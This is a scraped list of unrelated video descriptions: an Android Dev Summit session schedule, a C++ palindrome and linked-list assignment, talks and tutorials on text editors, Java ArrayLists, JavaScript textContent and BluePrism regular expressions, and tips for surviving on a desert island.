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Join us for day two of the Android Dev Summit 2018! This livestream covers Theater 2. Tune in for deep technical sessions with the Android engineering team. Check out all the sessions that will be featured in this livestream of Day 2 at the Android Dev Summit! All times are in PST. Learn more about the talks → http://bit.ly/2P9AxWt 20:10 - Trash Talk 1:09:16 - Use Android Text Like a Pro 1:29:15 - Files for Miles: Where to Store Them All? 1:59:33 - Deep Dive into the ART Runtime 3:53:48 - Android Emulator Deep Dive 4:43:28 - Vitals: Past, Present & Future 5:05:41 - Re-stitching Plaid with Kotlin 5:34:23 - Getting the Most from the New Multi-Camera API 6:44:22 - Deep Dive into Android Studio Profilers 7:34:18 - Testing Android Apps at Scale with Nitrogen Android Dev Summit '18 all sessions playlist → http://bit.ly/ADS18-Sessions Subscribe to the Android Channel! → http://bit.ly/AndroidDevs1 Music by Terra Monk → http://bit.ly/2yVAcxd #AndroidDevSummit
Views: 6797 Android Developers
Solution #7 by Top Codes
 
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https://goo.gl/ZL1mtT Assignment_7 Solution by Top Codes You are to gain experience using a single class to implement a solution to more than one problem and experience modifying a class that implements a data structure. Exercise 1 Write a main program called palindrome.cpp. This program will accept as input a single group of character and your output will be a single answer, either the string is a palindrome or not a palindrome. A palindrome is a word or string of characters that is spelled the same backward or forward. Write a program that uses a stack object to determine if a string is a palindrome (i.e. the string is spelled identically backward and forward). The program should ignore spaces and punctuation. Go ahead and start your program by reading in a C-style string from standard input, using the getline function. You may assume a limit of 100 characters on the string (although this can be written, with a little more effort, to accept any size string). Your algorithm must make use of a stack (of type char). Use the Deitel implementation of the Stack from "stack.h" (you don't need to change this file). Ignore spacing and punctuation, as well as special characters and digits (i.e. only count letters as part of a palindrome, and account for upper/lower case. For example, 'B' and 'b' are matching letters). Sample runs: (user input underlined) Please enter a string: ABCDEFGHGFEDCBA "ABCDEFGHGFEDCBA" IS a palindrome Please enter a string: The quick brown fox "The quick brown fox" is NOT palindrome Please enter a string: Cigar? Toss it in a can. It is so tragic. "Cigar? Toss it in a can. It is so tragic." IS a palindrome Want some palindromes to test you can visit the site www.palindrome.com. Implementation Details: - If the user enters a string of characters that contain spaces or special characters you need to reject it ( not try to evaluate it) and issue an appropriate error message. COP3330 Object Oriented Programming in C/C++ COP3330 Page 2 - You need to ignore the case ( upper or lower case) which means that you should change the input string to either upper or lower case letters. - Since you are reading data into a C-style string to begin, you may use any of the libraries iostream, cstring, and cctype, if you like. (The first, of course, for I/O, and the other two, since they deal with C-style strings and characters). Exercise 2 Modify the List class (file list.h so that it has two more functions, which will allow inserts and removes from anywhere in the linked list. Your functions should be called: · insertMiddle · removeMiddle Your functions should have all the same features as the given insert and remove functions, except that yours each have one extra parameter. The second parameter on each of your functions should be of type int, representing the position at which to insert (or delete). Sample calls for a list of integers: L.insertMiddle(345, 5); // attempts to insert the value 345 // as the 5th item in the list L.removeMiddle(x, 10); // attempts to delete the 10th item in the // list and captures its value into x. For insertMiddle, if the position number is larger than the number of items in the list, just insert the item at the back. If it's too small (i.e. 0 or less), insert at the front. For removeMiddle, return false if the position is invalid (without removing anything). I've modified the menu program of Figure 21.5 so that it adds in two more menu options for testing these features. You can use it to test your class: menu7.cpp Submitting: Submit Files palindrom.cpp and list.h COP3330 Object Oriented Programming in C/C++ COP3330 Page 3 // * ******************************************************************* // * * Taken from Deitel & Associates, Inc. and Prentice Hall * // * * Deitel & Deitel How to Probram in C++ 3rd Edition. * // * * Figure 21.13: stack.h * // * * Template Stack Class definition derived from class List. * // * * * // * * Must have the files list.h included in order to function * // * * properly. * // * * Additional comments added by Dr. David A. Gaitros * // * ******************************************************************* #ifndef STACK_H #define STACK_H #include "list.h" // List class definition // * ******************************************************************* // * * Class definition. * // * ******************************************************************* template class STACKTYPE class Stack : private List STACKTYPE { public: // * *******************************************************************
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RubyConf 2015 - String Theory and Time Travel: the humble text editor by Colin Fulton
 
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String Theory and Time Travel: the humble text editor by Colin Fulton Did you know that the time machine in your text editor is probably broken? Better yet, have you considered that your text editor has a time machine? The majority of our day is spent in a text editor, but most never think about how they really work. There is a lot more to an editor than saving a few keystrokes or the rivalry between Vim and Emacs; they can teach us about data structures, IO, design, and the dangers of time travel. Let's take a closer look at some of the most enduring applications, and see what we can learn by trying to build a better editor using Ruby. Help us caption & translate this video! http://amara.org/v/H5Qq/
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STRANDED! How to Survive if Marooned on a Deserted Island
 
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How to survive on a desert island. Stay calm. The most important thing for you to do at first is to remain calm and try to think clearly. If you start to panic, you can lose control and end up forfeiting your chances of survival. You won't do that well if you've driven yourself crazy. William Golding's novel 'Pincher Martin' is a great example that illustrates how you can't do anything unless you 'take control', because the main character in the story lets panic get the better of him. Try making a "buddy" out of an object or animal near you, and talk to them to calm down. You should make 'safety, water, shelter and food' your main priorities, in that order. Look around you and decide on some safety precautions. Start by asking yourself if the area around you is safe. Look around again and check if there are there any wild animals lurking in close proximity? Does it appear like there could be a flooding risk? The first important step is establishing whether the place where you are is physically safe. Establishing the Necessities- Look for clean and fresh water supply. Almost all people who are lost out at sea are found in a matter of hours or days. Science tells us that the human body can survive up to 2 weeks without food, but just 3-4 days without water. So if there is no natural source of fresh water, start looking for a way to collect rainwater. Any source of water is great! As long as you have found a source of water, you can try to purify or desalinate it later. If fresh water is available, try boil it for 2-3 minutes. This will purify it. If you have a desalination device, that's even better! If not, don't fret, there are actually several methods by which you can desalinate water. One such method is distillation. To distillate water, construct a solar still, or one that works over a fire. A solar still can be built by filling a large, flat container with salt water or even urine which can be re-used, if the need arises. Place a smaller container in the center with a rock inside it to hold it in place. Cover it with a thin sheet of plastic or whatever similar material you have and place a rock in the center above the cup. If placed in direct sunlight, the water will evaporate and it will condense on the plastic sheet, which will then run down the sheet and drip into the smaller container. For a method that works over a fire, create steam and condense the steam by using a large piece of metal or glass placed inside the steam. This will allow the condensed water to run into another container. Create a shelter. You will need a shelter as protection from the elements and from natural predators as well. The best options are usually a natural shelter such as a cave, or one that you build. The next step to follow after having found a natural shelter, is to build a more enduring shelter. A shelter acts as a home base, a warm and shady place for you to sleep in, a place for storing your resources, and a hiding place from beasts of prey as well. Ensure that the shelter above the ground so that bugs don't crawl all over you. Image titled Live on a Deserted Island Step 5 Find sources of food. The ocean is filled with life. Try building a low V-shaped wall made of stones at low tide, with the pointed part of the V pointing out towards the sea. At high tide, fish will swim into it, and get trapped as the tide flows out. There are a lot of edible roots and berries that you can actually consider eating, but do remember to watch out! Some of these roots and berries are poisonous and eating them would probably be fatal. Only eat them if you are sure they are safe to eat. The most reliable source of food on a deserted island are bugs. Yes, bugs! They can be found everywhere and they are an excellent source of protein, too. If you decide to fish with the bugs instead of eating them, a hook can be fashioned by carving out a stick into a hook shape and putting a barb on it. Tie string to it and you're in business. Take the time to evaluate your resources. Have you found a source of fresh water? Do you have a long range radio, satellite phone, or any other means of communication? Try to find other people who might be inhabiting the island. Remember that people can be your greatest resource. Start a fire. This may seem a bit trivial, but on a deserted island, fire has a number of uses. At the very least, it boosts morale. Fire can also be used to distill water, to cook, and to provide light for you and for your rescuers who can find you if they spot the fire! If you can't start a fire, don't worry, just move on to the next step and keep on trying. Music: SOS by Dhruva Aliman https://dhruvaaliman.bandcamp.com/album/what-must-be http://www.dhruvaaliman.com/
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Using ArrayLists in Java (Part 1)
 
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Hello everyone, I am Mr. Programmer - once known as Canownueasy. This tutorial will show you the uses of ArrayLists in Java. I will disclose some examples with ArrayLists. This video is video number 1 in the Using ArrayLists in Java series. First, I will open the Eclipse IDE. Using the Eclipse IDE is NOT required - you may choose any IDE (or no IDE) to program. From personal preferance, Eclipse IDE provides the most amount of features, and less annoying visual designs and a much faster (and less detailed) graphical user interface (GUI). On the other hand, the Netbeans IDE provides a visual Swing Framework IDE. I'm going to now create a new project. I will title it "Example". For more information about creating a new project in Eclipse see my other video. Let's create a new class "Loader". This class will serve as the main and only class in the program. Please note, this is JUST an example class to demonstrate the use of arraylists. First, let's import the arraylist class. You will notice that Eclipse underlines it in yellow. This is the result of a WARNING. Warnings serve to remind developers that their code is dead, not properly done, and much more. You can compare warnings to grammatical notices in Microsoft Word which are underlined in green. Now, we need to make a static main method that accepts arguments. Any class that has this type of method can serve as the loader or main class. Time to create an arraylist. Since we won't have any other classes in this example project, I am going to make it private. Private is a Java modifier that only allows limited - or PRIVATE access to the object. I'm going to call my arraylist "friends". Inside the semibraces defines the type of fields the arraylist can contain. I chose String as the list will contain friend's names. Next, I want to look at options I have to do with my arraylist. You can always look at options of code by entering a period. Eclipse uses intellisense and displays what you can do. For example, I want to add my friend "Johnathan" to the list. I can do that using the add method. The add method has an Object parameter. The object must be the type of field your arraylist can hold. The arraylist can contain more than one of the same content so I can have 2 "Jonathan" friends. Let's just say I had an argument with Jonathan, and I'm not friends with him anymore, I can use the remove method. The same rules apply for removing as adding. Every "friend" inside the arraylist is an element. If I were dealing with cell phone contacts, and I don't remember if I have a number on the list, I can use the contains method. The contains method is a boolean. If the list contains an element equivalent to the contains parameter, it will return true. Otherwise, it will return false. If we wanted to find our best friend, we could use the get method. Arraylists have "slots" that can also be called "compartments". Each slot has an identification number starting from 0. I'll create a new String variable and get slot 2 from friends. Since we don't have 3 friends on our list, I'll add some more friends "Nathan", "Jimmy", and "Peter". Let's test our program out. Nothing happens - well at least that is what appears to the user. We need to show the user what is going on, so I am going to print out to the system all the elements or "friends" in the list. Now, as we see, the console shows the list of friends. Notice the brackets surrounding the elements. To remove these we can make a String method that replaces the brackets with nothing and returns back the new String. Just modify the code to print out the friends list after the brackets have been replaced. We also need to convert the friends to a String. Now, the console shows the list of friends without the brackets. If a user wanted to see which friend is your favorite, you can print out twice. The user can now see all of the elements in the list and see the selected element. This video is video number 1 in the using arraylists in Java series. See the description for captains, thanks.
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JavaScript Tutorial - textContent property of Node object
 
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textContent is defined on the Node interface. attribute DOMString? textContent; The textContent attribute must,on setting, if the new value is null, act as if it was the empty string instead, and then do as described below, depending on the context object: DocumentFragment Element -Let node be null. -If new value is not the empty string, set node to a new Text node whose data is new value. -Replace all with node within the context object. Text ProcessingInstruction Comment -Replace data with node context object, offset 0, count length attribute value, and data new value. Any other node -Do nothing. Facebook page: https://www.facebook.com/pages/WebTunings/339234242822202 Recommended JavaScript Book: http://www.amazon.com/gp/product/0596805527/ref=as_li_qf_sp_asin_tl?ie=UTF8&camp=1789&creative=9325&creativeASIN=0596805527&linkCode=as2&tag=webtuningscom-20 Code snippets: https://github.com/webtunings
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H3 Podcast #12 - Steve-O
 
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BluePrism - String Reg Expressions || Reality & Useful
 
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Hi Friends, Now we will discuss about 'Utility - String' Regular expressions -------------------------------------------------------------------------- Why we need to use regular expressions and which scenario we need to use them? -------------------------------------------------------------------------- Let's take an example, I have one data item contains alphabates and I want to check wheather the data item having only alphabates or numbers or alphanumarics or any other condition checks. These type of operations we can do using regular expressions. -------------------------------------------------------------------------- we can find the syntaxs of regular expressions in w3scools. see here few of the regular expressions [abc] the string should contains a, b, c letters combination only [^abc] doesn't contains the combination of a, b, c or individually [0-9] string must contains only digits [^0-9] string should not contain numbers (x|y) Find any of the alternatives specified --------------------------------------------------------------------------- let's try on these expressions using 'Utility - String' regular expressions See we have an Action to use 'Test Regex Match' and it is expecting the inputs Regex Pattern - This is regular expression syntax Target String - This is, on which string we have to match Output will be the Flag type mean, either matching or not, true or false --------------------------------------------------------------------------- 1. Let's check with the number [0-9] pattern My target string should contain only numbers not any other symboles or alphabates. let's check it See I got true, because my target string having only number. If I give alphabates? see the result -- I got the false result What if I give combination of alphabates and numbers or other symboles too? see once Well, we got true. That means it is accepting the other characters along with the numbers. Let's restrict the alphabates in this using [0-9] ^[a-b] we got the false. --------------------------------------------------------- 2. Now we will see about [abc] expression I gave target string with in the abc letters that's why I got true. Let's include other characters. It gave me true and accepting the other letters If we don't want other letters to accept include ^[d-z] Let's try See now we got false. ^ means inverse/not case Now we will avoid the abc letters and use it for [abc] expression Results are false, because Target string doesn't contain abc letters. Make sure to know about the meaning of regular expression first. already we got idea about ^ symbol ^ - not case [] - are used for expression symbol - - used for range(between) like 0 to 9 or between 'a' and 'z' Thank you for watching video
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